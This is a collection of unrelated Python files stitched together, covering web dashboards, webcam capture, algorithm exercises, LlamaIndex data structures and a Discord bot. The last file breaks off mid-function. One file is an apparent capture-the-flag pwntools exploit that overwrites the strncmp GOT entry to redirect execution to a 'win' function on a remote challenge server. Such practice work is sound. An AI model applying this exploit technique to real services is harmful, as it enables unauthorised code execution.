        with self.subTest(msg='Attributes'):
            self.assertIsInstance(Review.place_id, str)
            self.assertIsInstance(Review.user_id, str)
            self.assertIsInstance(Review.text, str)

if __name__ == '__main__':
    unittest.main()


import dash_blueprint
import dash
from dash.dependencies import Input, Output
import dash_html_components as html
import dash_core_components as dcc

import arrow

app = dash.Dash(__name__)

app.scripts.config.serve_locally = True
app.css.config.serve_locally = True

app.layout = html.Div(
    className="bp3-dadrk",
    children=[
        dash_blueprint.DatePicker(
            id="datepicker", defaultValue=arrow.now().shift(years=-4).datetime
        ),
        dash_blueprint.DateInput(
            id="dateinput", defaultValue=arrow.now().shift(years=-4).date()
        ),
        html.Div(id="output"),
        dash_blueprint.DateRangePicker(
            id="daterangepicker",
            # start_date=arrow.now().replace(years=-4).date()
            minDate=arrow.now().shift(days=-1).date(),
            maxDate=arrow.now().shift(days=14).date(),
        ),
        html.Div(id="date-range-output"),
        dash_blueprint.DateRangeInput(
            id="daterangeinput",
            # start_date=arrow.now().replace(years=-4).date()
        ),
        html.Div(id="date-range-input-output"),
    ],
)

@app.callback(
    Output("date-range-input-output", "children"),
    [Input("daterangeinput", "start_date"), Input("daterangeinput", "end_date")],
)
def update_date(start_date, end_date):
    print(start_date, end_date)
    return "{} - {}".format(start_date, end_date)

@app.callback(
    Output("date-range-output", "children"),
    [Input("daterangepicker", "start_date"), Input("daterangepicker", "end_date")],
)
def update_date(start_date, end_date):
    print(start_date, end_date)
    return "{} - {}".format(start_date, end_date)

@app.callback(Output("output", "children"), [Input("dateinput", "date")])
def update_date(date):
    print(date)
    return date

if __name__ == "__main__":
    app.run_server(debug=False)


def count_bases(seq):
    d = {"A": 0, "C": 0, "G": 0, "T": 0,}
    for b in seq:
        d[b] += 1 #probarlo con lo de if y elif
    return d

dna_seq = input("Introduce a sequence: ")
print("Total length:", len(dna_seq))
#print(d)
#print(count_bases(dna_seq))#probar con dna_seq en la función
for k,v in count_bases(dna_seq).items():
    print(k+":", v)


class Solution(object):
    def ladderLength(self, beginWord, endWord, wordList):
        """
        :type beginWord: str
        :type endWord: str
        :type wordList: Set[str]
        :rtype: int
        """
        abc = "abcdefghijklmnopqrstuvwxyz"
        stack = []
        wordList.add(endWord)
        stack.append([beginWord,1])
        size = len(beginWord)
        while len(stack)>0:
            top,level = stack.pop(0)
            if top == endWord:return level
            for i in range(size):
                part1 = top[:i]
                part2 = top[i+1:]
                for j in  abc:
                    if top[i] != j:
                        nextW = part1+j+part2
                        if nextW in wordList:
                            stack.append((nextW,level+1))
                            wordList.remove(nextW)
        return  0
if __name__ == '__main__':

        so = Solution()
        wordlist=["si","go","se","cm","so","ph","mt","db","mb","sb","kr","ln","tm","le","av","sm","ar","ci","ca","br","ti","ba","to","ra","fa","yo","ow","sn","ya","cr","po","fe","ho","ma","re","or","rn","au","ur","rh","sr","tc","lt","lo","as","fr","nb","yb","if","pb","ge","th","pm","rb","sh","co","ga","li","ha","hz","no","bi","di","hi","qa","pi","os","uh","wm","an","me","mo","na","la","st","er","sc","ne","mn","mi","am","ex","pt","io","be","fm","ta","tb","ni","mr","pa","he","lr","sq","ye"]
        print(so.ladderLength("qa","sq",wordlist))


import datetime
import urllib

from edge.opensearch.atomresponsebysolr import AtomResponseBySolr
from edge.dateutility import DateUtility

class DatasetAtomResponse(AtomResponseBySolr):
    def __init__(self, portalUrl, host, url, datasets):
        super(DatasetAtomResponse, self).__init__()
        self.portalUrl = portalUrl
        self.host = host
        self.url = url
        self.datasets = datasets

    def _populateChannel(self, solrResponse):
        self.variables.append({'name': 'link', 'attribute': {'href': self.url+self.searchBasePath+'podaac-granule-osd.xml', 'rel': 'search', 'type': 'application/opensearchdescription+xml' }})

    def _populateItem(self, solrResponse, doc, item):
        persistentId = doc['Dataset-PersistentId'][0]
        idTuple = ('datasetId', persistentId)
        if persistentId == '':
            idTuple = ('shortName', doc['Dataset-ShortName'][0])
        item.append({'name': 'title', 'value': doc['Dataset-LongName'][0]})
        item.append({'name': 'content', 'value': doc['Dataset-Description'][0]})

        item.append({'name': 'link', 'attribute': {'href': self.url + self.searchBasePath + 'dataset?' + urllib.urlencode(dict([idTuple, ('full', 'true')])), 'rel': 'enclosure', 'type': 'application/atom+xml', 'title': 'PO.DAAC Metadata' }})
        item.append({'name': 'link', 'attribute': {'href': self.url + self.metadataBasePath + 'dataset?' + urllib.urlencode(dict([idTuple, ('format', 'iso')])), 'rel': 'enclosure', 'type': 'text/xml', 'title': 'ISO-19115 Metadata' }})
        item.append({'name': 'link', 'attribute': {'href': self.url + self.metadataBasePath + 'dataset?' + urllib.urlencode(dict([idTuple, ('format', 'gcmd')])), 'rel': 'enclosure', 'type': 'text/xml', 'title': 'GCMD Metadata' }})

        #Only generate granule search link if dataset has granules
        if (doc['Dataset-ShortName'][0] in self.datasets):
            supportedGranuleParams = dict([(key,value) for key,value in self.parameters.iteritems() if key in ['bbox', 'startTime', 'endTime']])
            if persistentId == '':
                supportedGranuleParams['shortName'] = doc['Dataset-ShortName'][0]
            else:
                supportedGranuleParams['datasetId'] = persistentId
            item.append({'name': 'link', 'attribute': {'href': self.url + self.searchBasePath + 'granule?' + urllib.urlencode(supportedGranuleParams), 'rel': 'search', 'type': 'application/atom+xml', 'title': 'Granule Search' }})

        if 'Dataset-ImageUrl' in doc and doc['Dataset-ImageUrl'][0] != '':
            item.append({'name': 'link', 'attribute': {'href': doc['Dataset-ImageUrl'][0], 'rel': 'enclosure', 'type': 'image/jpg', 'title': 'Thumbnail' }})

        if 'DatasetLocationPolicy-Type' in doc and 'DatasetLocationPolicy-BasePath' in doc:
            url = dict(zip(doc['DatasetLocationPolicy-Type'], doc['DatasetLocationPolicy-BasePath']))
            if 'LOCAL-OPENDAP' in url:
                item.append({'name': 'link', 'attribute': {'href': url['LOCAL-OPENDAP'], 'rel': 'enclosure', 'type': 'text/html', 'title': 'OPeNDAP URL' }})
            elif 'REMOTE-OPENDAP' in url:
                item.append({'name': 'link', 'attribute': {'href': url['REMOTE-OPENDAP'], 'rel': 'enclosure', 'type': 'text/html', 'title': 'OPeNDAP URL' }})
            if 'LOCAL-FTP' in url:
                item.append({'name': 'link', 'attribute': {'href': url['LOCAL-FTP'], 'rel': 'enclosure', 'type': 'text/plain', 'title': 'FTP URL' }})
            elif 'REMOTE-FTP' in url:
                item.append({'name': 'link', 'attribute': {'href': url['REMOTE-FTP'], 'rel': 'enclosure', 'type': 'text/plain', 'title': 'FTP URL' }})
        if doc['DatasetPolicy-ViewOnline'][0] == 'Y' and doc['DatasetPolicy-AccessType-Full'][0] in ['OPEN', 'PREVIEW', 'SIMULATED', 'REMOTE']:
            portalUrl = self.portalUrl+'/'+doc['Dataset-ShortName'][0]
            item.append({'name': 'link', 'attribute': {'href': portalUrl, 'rel': 'enclosure', 'type': 'text/html', 'title': 'Dataset Information' }})
        updated = None
        if 'DatasetMetaHistory-LastRevisionDateLong' in doc and doc['DatasetMetaHistory-LastRevisionDateLong'][0] != '':
            updated = DateUtility.convertTimeLongToIso(doc['DatasetMetaHistory-LastRevisionDateLong'][0])
        else:
            updated = datetime.datetime.utcnow().isoformat()+'Z'

        item.append({'name': 'updated', 'value': updated})
        item.append({'name': 'id', 'value': persistentId})
        item.append({'namespace': 'podaac', 'name': 'datasetId', 'value': doc['Dataset-PersistentId'][0]})
        item.append({'namespace': 'podaac', 'name': 'shortName', 'value': doc['Dataset-ShortName'][0]})

        if doc['DatasetCoverage-WestLon'][0] != '' and doc['DatasetCoverage-SouthLat'][0] != '' and  doc['DatasetCoverage-EastLon'][0] != '' and  doc['DatasetCoverage-NorthLat'][0] != '':
            item.append({'namespace': 'georss', 'name': 'where', 'value': {'namespace': 'gml', 'name': 'Envelope', 'value': [{'namespace': 'gml', 'name': 'lowerCorner', 'value': ' '.join([doc['DatasetCoverage-WestLon'][0], doc['DatasetCoverage-SouthLat'][0]]) }, {'namespace': 'gml', 'name': 'upperCorner', 'value': ' '.join([doc['DatasetCoverage-EastLon'][0], doc['DatasetCoverage-NorthLat'][0]])}]}})

        if 'DatasetCoverage-StartTimeLong' in doc and doc['DatasetCoverage-StartTimeLong'][0] != '':
            item.append({'namespace': 'time', 'name': 'start', 'value': DateUtility.convertTimeLongToIso(doc['DatasetCoverage-StartTimeLong'][0])})

        if 'DatasetCoverage-StopTimeLong' in doc and doc['DatasetCoverage-StopTimeLong'][0] != '':
            item.append({'namespace': 'time', 'name': 'end', 'value': DateUtility.convertTimeLongToIso(doc['DatasetCoverage-StopTimeLong'][0])})

        if 'full' in self.parameters and self.parameters['full']:
            if 'DatasetLocationPolicy-Type' in doc and 'DatasetLocationPolicy-BasePath' in doc:
                for i, x in enumerate(doc['DatasetLocationPolicy-Type']):
                    item.append({'namespace': 'podaac', 'name': self._camelCaseStripHyphen(x.title()), 'value': doc['DatasetLocationPolicy-BasePath'][i]})
                del doc['DatasetLocationPolicy-Type']
                del doc['DatasetLocationPolicy-BasePath']

            multiValuedElementsKeys = ('DatasetRegion-', 'DatasetCharacter-', 'DatasetCitation-', 'DatasetContact-Contact-', 'DatasetDatetime-',
                                       'DatasetInteger-', 'DatasetParameter-', 'DatasetProject-', 'DatasetReal-', 'DatasetResource-',
                                       'DatasetSoftware-', 'DatasetSource-', 'DatasetVersion-', 'Collection-')
            self._populateItemWithPodaacMetadata(doc, item, multiValuedElementsKeys)


"""""
import cv2

video = cv2.VideoCapture(0, cv2.CAP_DSHOW)

a = 1

while True:
    a = a+1
    check,frame = video.read()
    print(frame)
    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    cv2.imshow('Dhodis',gray)
    key = cv2.waitKey(1)
    if key == ord('q'):
        break

print(a)
video.release()
cv2.destroyAllWindows()

import cv2

video = cv2.VideoCapture(0)

while True:
    check,frame = video.read()
    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    cv2.imshow('dhodis', gray)
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break

video.release()
cv2.destroyAllWindows()

"""""

import cv2
from datetime import datetime

video = cv2.VideoCapture(0)
# print(video.get(cv2.CAP_PROP_FRAME_HEIGHT))
# print(video.get(cv2.CAP_PROP_FRAME_WIDTH))

video.set(3, 700000)
video.set(4, 700000)

# print(video.get(3))
# print(video.get(4))

while video.isOpened():
    check,frame = video.read()
    if check:
        frame = cv2.flip(frame, 1)
        font = cv2.FONT_HERSHEY_SIMPLEX
        text = 'Width: '+ str(int(video.get(3))) + '    Height: '+ str(int(video.get(4)))
        datet = datetime.now()
        dateo = date_time = datet.strftime("%d/%m/%Y, %H:%M:%S")
        frame = cv2.putText(frame, dateo, (10,50), font, 1, (0,255,255), 2, cv2.LINE_AA)
        cv2.imshow('dhodi', frame)

        if cv2.waitKey(1) & 0XFF == ord('q'):
            break
    else:
        break

video.release()
cv2.destroyAllWindows()


import cv2
import numpy as np
import threading
import glob
import argparse
from matplotlib import pyplot as plt

ap = argparse.ArgumentParser()
ap.add_argument('-t', '--streamType', type=str, required=True,
                help='Choose between -picam- and -webcam-')
args = vars(ap.parse_args())

streamType = args['streamType']

if streamType == 'picam':
    GSTREAMER_PIPELINE0 = 'nvarguscamerasrc sensor_id=0 ! video/x-raw(memory:NVMM), width=3280, height=2464, format=(string)NV12, framerate=21/1 ! nvvidconv flip-method=0 ! video/x-raw, width=960, height=616, format=(string)BGRx ! videoconvert ! video/x-raw, format=(string)BGR ! appsink'
    GSTREAMER_PIPELINE1 = 'nvarguscamerasrc sensor_id=1 ! video/x-raw(memory:NVMM), width=3280, height=2464, format=(string)NV12, framerate=21/1 ! nvvidconv flip-method=0 ! video/x-raw, width=960, height=616, format=(string)BGRx ! videoconvert ! video/x-raw, format=(string)BGR ! appsink'
    leftCamera = cv2.VideoCapture(GSTREAMER_PIPELINE1, cv2.CAP_GSTREAMER)
    rightCamera = cv2.VideoCapture(GSTREAMER_PIPELINE0, cv2.CAP_GSTREAMER)
else:
    leftCamera = cv2.VideoCapture(1)
    rightCamera = cv2.VideoCapture(0)

count = 0

left = np.zeros((100, 100, 3), np.uint8)
right = np.zeros((100, 100, 3), np.uint8)

def left_vid():
    while True:
        global left
        _, left = leftCamera.read()
        left = cv2.resize(left, None, fx=0.5, fy=0.5)

def right_vid():
    while True:
        global right
        _, right = rightCamera.read()
        right = cv2.resize(right, None, fx=0.5, fy=0.5)

def main():
    l = threading.Thread(target=left_vid)
    l.start()
    r = threading.Thread(target=right_vid)
    r.start()
    global left, right, count
    while True:
        try:
            leftGray = cv2.cvtColor(left, cv2.COLOR_BGR2GRAY)
            rightGray = cv2.cvtColor(right, cv2.COLOR_BGR2GRAY)
            cv2.putText(left, str(count), (20, 20), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 255), 3)
            cv2.putText(left, str(count), (20, 20), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 255), 3)
            cv2.imshow('right', right)
            cv2.imshow('left', left)
            right_string_name = 'right_im'+str(count)+'.png'
            left_string_name = 'left_im'+str(count)+'.png'

            if cv2.waitKey(1) & 0xff == ord(' '):
                try:
                    cv2.imwrite('images/'+right_string_name, rightGray)
                    cv2.imwrite('images/'+left_string_name, leftGray)
                    count += 1
                    print(count)
                except leftGray.shape == rightGray.shape:
                    print('Try again')

            if cv2.waitKey(1) & 0xff == ord('q'):
                break

        except TypeError:
            break
        except SyntaxError:
            break
        except EnvironmentError:
            break
        except UnboundLocalError:
            break

    leftCamera.release()
    rightCamera.release()
    cv2.destroyAllWindows()

if __name__ == '__main__':
    main()


from zope.viewlet.viewlet import ViewletBase
from zope.app.pagetemplate.viewpagetemplatefile import ViewPageTemplateFile
import os
import subprocess

class SystemPathDiags(ViewletBase):
    """ A viewlet that shows the system path for diagnostics."""

    template = ViewPageTemplateFile('syspath.pt')

    def render(self):
        return self.template()

    def syspath(self):
        return os.getenv('PATH')

    def whichLatex(self):
        pr = subprocess.Popen(
            'which latex',
            stdin=file(os.devnull, 'r'),
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            close_fds=True,
            shell=True,
            env={'PATH': os.getenv('PATH')},
            )
        pr.wait()
        return pr.stdout.read() + pr.stderr.read()

class WhoAmIDiags(ViewletBase):
    """ A viewlet that shows the user of the running instance."""

    template = ViewPageTemplateFile('whoami.pt')

    def render(self):
        return self.template()

    def whoami(self):
        pr = subprocess.Popen(
            'whoami',
            stdin=file(os.devnull, 'r'),
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            close_fds=True,
            shell=True,
            env={'PATH': os.getenv('PATH')},
            )
        pr.wait()
        return pr.stdout.read() + pr.stderr.read()


"""
problem : 연산자 끼워넣기 (BOJ 14888)
comment : dfs 이용
"""
import sys

sys.setrecursionlimit(10 ** 6)

def intput():
    return sys.stdin.readline().rstrip()

N = int(intput())
numbers = list(map(int, input().split()))
operations = list(map(int, input().split()))

answer = [float("-inf"), float("inf")]

def cal(a, b, mod):
    if mod == 0:
        return a + b
    elif mod == 1:
        return a - b
    elif mod == 2:
        return a * b
    elif mod == 3:
        if a < 0:
            return -(-a // b)
        return a // b

def dfs(idx, result):
    if idx + 1 == N:
        answer[0] = max(answer[0], result)
        answer[1] = min(answer[1], result)
        return

    a, b = result, numbers[idx + 1]

    for i in range(4):
        if operations[i] == 0:
            continue

        operations[i] -= 1
        dfs(idx + 1, cal(a, b, i))
        operations[i] += 1

def main():
    dfs(0, numbers[0])
    print("\n".join(map(str, answer)))

if __name__ == "__main__":
    main()


#!/usr/bin/env python3
"""Keras"""
import tensorflow.keras as K

def train_model(
        network,
        data,
        labels,
        batch_size,
        epochs,
        validation_data=None,
        early_stopping=False,
        patience=0,
        verbose=True,
        shuffle=False):
    """train the model using early stopping"""
    if early_stopping:
        ea_st = K.callbacks.EarlyStopping(patience=patience)
    history = network.fit(
        x=data,
        y=labels,
        validation_data=validation_data,
        shuffle=shuffle,
        nb_epoch=epochs,
        verbose=verbose,
        batch_size=batch_size,
        callbacks=[ea_st])
    return history


"""File for core data structures."""

import random
import sys
from dataclasses import dataclass, field
from typing import Any, Dict, List, Optional, Set, Tuple

from dataclasses_json import DataClassJsonMixin

from gpt_index.data_structs.struct_type import IndexStructType
from gpt_index.schema import BaseDocument
from gpt_index.utils import get_new_int_id

@dataclass
class IndexStruct(BaseDocument, DataClassJsonMixin):
    """A base data struct for a LlamaIndex."""

    # NOTE: the text field, inherited from BaseDocument,
    # represents a summary of the content of the index struct.
    # primarily used for composing indices with other indices

    # NOTE: the doc_id field, inherited from BaseDocument,
    # represents a unique identifier for the index struct
    # that will be put in the docstore.
    # Not all index_structs need to have a doc_id. Only index_structs that
    # represent a complete data structure (e.g. IndexGraph, IndexList),
    # and are used to compose a higher level index, will have a doc_id.

@dataclass
class Node(IndexStruct):
    """A generic node of data.

    Base struct used in most indices.

    """

    def __post_init__(self) -> None:
        """Post init."""
        super().__post_init__()
        # NOTE: for Node objects, the text field is required
        if self.text is None:
            raise ValueError("text field not set.")

    # used for GPTTreeIndex
    index: int = 0
    child_indices: Set[int] = field(default_factory=set)

    # embeddings
    embedding: Optional[List[float]] = None

    # reference document id
    ref_doc_id: Optional[str] = None

    # extra node info
    node_info: Optional[Dict[str, Any]] = None

    def get_text(self) -> str:
        """Get text."""
        text = super().get_text()
        result_text = (
            text if self.extra_info_str is None else f"{self.extra_info_str}\n\n{text}"
        )
        return result_text

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        # TODO: consolidate with IndexStructType
        return "node"

@dataclass
class IndexGraph(IndexStruct):
    """A graph representing the tree-structured index."""

    all_nodes: Dict[int, Node] = field(default_factory=dict)
    root_nodes: Dict[int, Node] = field(default_factory=dict)

    @property
    def size(self) -> int:
        """Get the size of the graph."""
        return len(self.all_nodes)

    def get_children(self, parent_node: Optional[Node]) -> Dict[int, Node]:
        """Get nodes given indices."""
        if parent_node is None:
            return self.root_nodes
        else:
            return {i: self.all_nodes[i] for i in parent_node.child_indices}

    def insert_under_parent(self, node: Node, parent_node: Optional[Node]) -> None:
        """Insert under parent node."""
        if node.index in self.all_nodes:
            raise ValueError(
                "Cannot insert a new node with the same index as an existing node."
            )
        if parent_node is None:
            self.root_nodes[node.index] = node
        else:
            parent_node.child_indices.add(node.index)

        self.all_nodes[node.index] = node

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return "tree"

@dataclass
class KeywordTable(IndexStruct):
    """A table of keywords mapping keywords to text chunks."""

    table: Dict[str, Set[int]] = field(default_factory=dict)
    text_chunks: Dict[int, Node] = field(default_factory=dict)

    def _get_index(self) -> int:
        """Get the next index for the text chunk."""
        # randomly generate until we get a unique index
        while True:
            idx = random.randint(0, sys.maxsize)
            if idx not in self.text_chunks:
                break
        return idx

    def add_node(self, keywords: List[str], node: Node) -> int:
        """Add text to table."""
        cur_idx = self._get_index()
        for keyword in keywords:
            if keyword not in self.table:
                self.table[keyword] = set()
            self.table[keyword].add(cur_idx)
        self.text_chunks[cur_idx] = node
        return cur_idx

    def get_texts(self, keyword: str) -> List[str]:
        """Get texts given keyword."""
        if keyword not in self.table:
            raise ValueError("Keyword not found in table.")
        return [self.text_chunks[idx].get_text() for idx in self.table[keyword]]

    @property
    def keywords(self) -> Set[str]:
        """Get all keywords in the table."""
        return set(self.table.keys())

    @property
    def size(self) -> int:
        """Get the size of the table."""
        return len(self.table)

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return "keyword_table"

@dataclass
class IndexList(IndexStruct):
    """A list of documents."""

    nodes: List[Node] = field(default_factory=list)

    def add_node(self, node: Node) -> None:
        """Add text to table, return current position in list."""
        # don't worry about child indices for now, nodes are all in order
        self.nodes.append(node)

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return "list"

@dataclass
class IndexDict(IndexStruct):
    """A simple dictionary of documents."""

    nodes_dict: Dict[int, Node] = field(default_factory=dict)
    id_map: Dict[str, int] = field(default_factory=dict)

    # TODO: temporary hack to store embeddings for simple vector index
    # this should be empty for all other indices
    embeddings_dict: Dict[str, List[float]] = field(default_factory=dict)

    def add_node(
        self,
        node: Node,
        text_id: Optional[str] = None,
    ) -> str:
        """Add text to table, return current position in list."""
        int_id = get_new_int_id(set(self.nodes_dict.keys()))
        if text_id in self.id_map:
            raise ValueError("text_id cannot already exist in index.")
        elif text_id is not None and not isinstance(text_id, str):
            raise ValueError("text_id must be a string.")
        elif text_id is None:
            text_id = str(int_id)
        self.id_map[text_id] = int_id

        # don't worry about child indices for now, nodes are all in order
        self.nodes_dict[int_id] = node
        return text_id

    def get_nodes(self, text_ids: List[str]) -> List[Node]:
        """Get nodes."""
        nodes = []
        for text_id in text_ids:
            if text_id not in self.id_map:
                raise ValueError("text_id not found in id_map")
            elif not isinstance(text_id, str):
                raise ValueError("text_id must be a string.")
            int_id = self.id_map[text_id]
            if int_id not in self.nodes_dict:
                raise ValueError("int_id not found in nodes_dict")
            nodes.append(self.nodes_dict[int_id])
        return nodes

    def get_node(self, text_id: str) -> Node:
        """Get node."""
        return self.get_nodes([text_id])[0]

    def delete(self, doc_id: str) -> None:
        """Delete a document."""
        text_ids_to_delete = set()
        int_ids_to_delete = set()
        for text_id, int_id in self.id_map.items():
            node = self.nodes_dict[int_id]
            if node.ref_doc_id != doc_id:
                continue
            text_ids_to_delete.add(text_id)
            int_ids_to_delete.add(int_id)

        for int_id, text_id in zip(int_ids_to_delete, text_ids_to_delete):
            del self.nodes_dict[int_id]
            del self.id_map[text_id]

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return IndexStructType.VECTOR_STORE

@dataclass
class KG(IndexStruct):
    """A table of keywords mapping keywords to text chunks."""

    # Unidirectional

    table: Dict[str, Set[str]] = field(default_factory=dict)
    text_chunks: Dict[str, Node] = field(default_factory=dict)
    rel_map: Dict[str, List[Tuple[str, str]]] = field(default_factory=dict)
    embedding_dict: Dict[str, List[float]] = field(default_factory=dict)

    def add_to_embedding_dict(self, triplet_str: str, embedding: List[float]) -> None:
        """Add embedding to dict."""
        self.embedding_dict[triplet_str] = embedding

    def upsert_triplet(self, triplet: Tuple[str, str, str], node: Node) -> None:
        """Upsert a knowledge triplet to the graph."""
        subj, relationship, obj = triplet
        self.add_node([subj, obj], node)
        if subj not in self.rel_map:
            self.rel_map[subj] = []
        self.rel_map[subj].append((obj, relationship))

    def add_node(self, keywords: List[str], node: Node) -> None:
        """Add text to table."""
        node_id = node.get_doc_id()
        for keyword in keywords:
            if keyword not in self.table:
                self.table[keyword] = set()
            self.table[keyword].add(node_id)
        self.text_chunks[node_id] = node

    def get_rel_map_texts(self, keyword: str) -> List[str]:
        """Get the corresponding knowledge for a given keyword."""
        # NOTE: return a single node for now
        if keyword not in self.rel_map:
            return []
        texts = []
        for obj, rel in self.rel_map[keyword]:
            texts.append(str((keyword, rel, obj)))
        return texts

    def get_rel_map_tuples(self, keyword: str) -> List[Tuple[str, str]]:
        """Get the corresponding knowledge for a given keyword."""
        # NOTE: return a single node for now
        if keyword not in self.rel_map:
            return []
        return self.rel_map[keyword]

    def get_node_ids(self, keyword: str, depth: int = 1) -> List[str]:
        """Get the corresponding knowledge for a given keyword."""
        if depth > 1:
            raise ValueError("Depth > 1 not supported yet.")
        if keyword not in self.table:
            return []
        keywords = [keyword]
        # some keywords may correspond to a leaf node, may not be in rel_map
        if keyword in self.rel_map:
            keywords.extend([child for child, _ in self.rel_map[keyword]])

        node_ids: List[str] = []
        for keyword in keywords:
            for node_id in self.table.get(keyword, set()):
                node_ids.append(node_id)
            # TODO: Traverse (with depth > 1)
        return node_ids

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return "kg"

# TODO: remove once we centralize UX around vector index

class SimpleIndexDict(IndexDict):
    """Index dict for simple vector index."""

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return IndexStructType.SIMPLE_DICT

class FaissIndexDict(IndexDict):
    """Index dict for Faiss vector index."""

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return IndexStructType.DICT

class WeaviateIndexDict(IndexDict):
    """Index dict for Weaviate vector index."""

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return IndexStructType.WEAVIATE

class PineconeIndexDict(IndexDict):
    """Index dict for Pinecone vector index."""

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return IndexStructType.PINECONE

class QdrantIndexDict(IndexDict):
    """Index dict for Qdrant vector index."""

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return IndexStructType.QDRANT

class ChromaIndexDict(IndexDict):
    """Index dict for Chroma vector index."""

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return IndexStructType.CHROMA

class OpensearchIndexDict(IndexDict):
    """Index dict for Opensearch vector index."""

    @classmethod
    def get_type(cls) -> str:
        """Get type."""
        return IndexStructType.OPENSEARCH


"""Module for bot commands."""
import discord

class Commands:
    """class to supply command-functionality for the bot."""

    def __init__(self, translation, validation):
        self.translation = translation
        self.message_stats = validation

    def commands(self, command, enable_translate):
        """Method to process bot commands."""
        return {
            "help": self.get_help(),
            "start": self.trigger_translation(command, enable_translate),
            "stop": self.trigger_translation(command, enable_translate),
            "status": self.get_status(enable_translate),
            "stats": self.get_stats(
                language_stats=self.translation.get_language_counts(),
                message_stats=self.message_stats.get_message_count(),
            ),
        }[command]

    @staticmethod
    def get_help():
        """Method to create help response."""
        help_text = discord.Embed(
            title="**Info**",
            colour=discord.Colour(0xF8E71C),
            description="this bot automatically translates messages "
            "from english to german, french and russian and vice versa",
        )
        help_text.set_footer()
        help_text.add_field(
            name="**Commands**",
            value="```\n $start - starts translation "
            "\n $stop - stops translation "
            "\n $status - shows if translation is active or not```",
        )

        return {"embed": help_text}

    @staticmethod
    def trigger_translation(command: str, enable_translate: bool):
        """Method to trigger translation."""
        if command == "start" and not enable_translate:
            state = discord.Embed(
                colour=discord.Colour(0x7ED321), description="start translation.."
            )

        elif command == "stop" and enable_translate:
            state = discord.Embed(
                colour=discord.Colour(0xD0021B), description="translation stopped.."
            )
        else:
            state = ""

        return {"embed": state}

    @staticmethod
    def get_status(translation_state):
        """Method to apply status response."""
        if translation_state:
            cur_status = "translation running."
        else:
            cur_status = "translation not running."

        status_embed = discord.Embed(
            colour=discord.Colour(0xF5A623), description=f"{cur_status}"
        )

        return {"embed": status_embed}

    @staticmethod
    def get_stats(language_stats: dict, message_stats: dict):
        """Method to render embed for language statistics."""
        stats_embed = discord.Embed(
            colour=discord.Colour(0xF5A623),
            title="**Stats**",
            description="```"
            f"German: {language_stats['de']} Messages\n"
            f"English: {language_stats['en']} Messages\n"
            f"French: {language_stats['fr']} Messages\n"
            f"Other: {language_stats['other']} Messages\n"
            f"\n"
            f"Messages translated: {message_stats['translated']} \n"
            f"Messages not translated: {language_stats['other']} \n"
            f"\n"
            f"Emoji-Messages: {message_stats['emojis']} \n"
            f"Command-Messages: {message_stats['commands']} \n"
            f"Image-Messages: {message_stats['images']} \n"
            f"\n"
            f"Total user messages handled: {message_stats['all']} \n"
            f"Total bot messages: {message_stats['bot']} \n"
            "```",
        )

        return {"embed": stats_embed}


from pwn import *

sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def change_name(name):
	sla('>','1')
	sa(':',name)

def change_national(nation):
	sla('>','2')
	sa(':',nation)

def change_age(age):
	sla('>','3')
	sla(':',str(age))

if __name__ == '__main__':
	#context.log_level = 'debug'
	e = ELF('./challenge')
	#p = process('./challenge')
	p = remote('svc.pwnable.xyz',30031)

	change_national('A'*16 + p64(e.got['strncmp']))
	change_age(str(e.symbols['win']))
	sla('>','4')
	p.interactive()


from symbolTable import SymbolTable
from rply import ParserGenerator
from ast import(Number, Sum, Sub, Print, Mul, Div, Rest,
                If, Or, And, Less, Greater, MinusEqual, PlusEqual, PlusOne,
                Block, Setter, Getter, Equal_Equal, UnOp, Identifier, While,
                FuncCall, FuncDec)

st = SymbolTable()

class Parser():
    params_name = []

    def __init__(self):
        self.pg = ParserGenerator(
            # A list of all token names accepted by the parser.
            ['NUMBER', 'PRINT', 'OPEN_PAREN', 'CLOSE_PAREN',
             'SEMI_COLON', 'OPEN_BRACES', 'CLOSE_BRACES',
             'EQUAL', 'IDENTIFIER', 'LESS', 'GREATER',
             'SUM', 'SUB', 'NOT', 'MUL', 'DIV', 'EQUAL_EQUAL',
             'AND', 'OR', 'IF', 'ELSE', 'WHILE', 'TYPE', 'FUNCTION', 'COMMA', 'RETURN']
        )

    def parse(self):
        #################### START ####################
        #                               p[0]       p[1]      p[2]
        @self.pg.production('start : def_function')
        @self.pg.production('start : def_function start')
        def begin(p):
            if len(p) == 1:
                return Block([p[0]])

            p[0].children += [p[1]]

            return p[0]

        #################### FUNCTION ####################
        #                                    p[0]    p[1]     p[2]      p[3]    p[4]         p[5]
        @self.pg.production('def_function : FUNCTION TYPE IDENTIFIER OPEN_PAREN CLOSE_PAREN begin')
        @self.pg.production('def_function : FUNCTION TYPE IDENTIFIER OPEN_PAREN params CLOSE_PAREN begin')
        @self.pg.production('def_function : def_function FUNCTION TYPE IDENTIFIER OPEN_PAREN params CLOSE_PAREN begin')
        @self.pg.production('def_function : def_function FUNCTION TYPE IDENTIFIER OPEN_PAREN  CLOSE_PAREN begin')
        def def_function(p):
            lista_func = []

            if len(p) == 6:
                if p[2].getstr() == 'main':
                    FuncDec([lista_func, p[5]], p[2].getstr(),
                            p[1].getstr()).eval(st)
                    return FuncCall(p[2].getstr(), [])
                else:
                    return FuncDec([lista_func, p[5]], p[2].getstr(), p[1].getstr()).eval(st)
            elif len(p) == 7:
                if p[3].getstr() == 'main':

                    FuncDec([lista_func, p[6]], p[3].getstr(),
                            p[2].getstr()).eval(st)
                    return FuncCall(p[3].getstr(), [])

                return FuncDec([p[4], p[6]], p[3].getstr(), p[2].getstr()).eval(st)
            else:

